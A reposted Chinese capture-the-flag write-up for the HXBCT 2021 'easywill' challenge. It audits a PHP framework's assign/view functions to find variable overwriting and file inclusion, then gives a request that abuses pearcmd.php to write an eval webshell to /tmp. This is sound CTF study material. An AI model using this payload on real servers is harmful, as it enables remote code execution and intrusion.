# [HXBCT_2021]easywill

这题 index 上给的代码很短,需要下载框架源码,自行修改审计。我没找到 2.1.5 的源码,下了个最新的。这题比赛的时候看了到 assign 函数还以为是个模板注入的题以为要爆破模板变量名就没去整了。还是对调试这种不太熟吧,下意识不想审计框架的函数调用

下面开始审计,修改 app/controller/IndexController.php 的内容与题目给出的一致

先跟踪 assign 函数

assign 只是做一个赋值的作用 传递给 view 当中

再看 view 函数

可以看到存在变量覆盖以及文件包含

开启 debug 可以看到函数调用栈,这里测试传参为 & name=cfile&value=1

写入 shell 到 tmp 目录,这里为什么包含 pearcmd.php 的原因详见:利用 pearcmd.php 从 LFI 到 getshell_feng 的博客 - CSDN 博客

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/test2.php+-d+man_dir=<?eval($_POST[0]);?>+-s+

记得用 burp 浏览器直接打的话 <> 会被 url 编码,写马就不解析了

转载(没有源码,只能下下来了):

# 原文链接:https://blog.csdn.net/weixin_43610673/article/details/121369384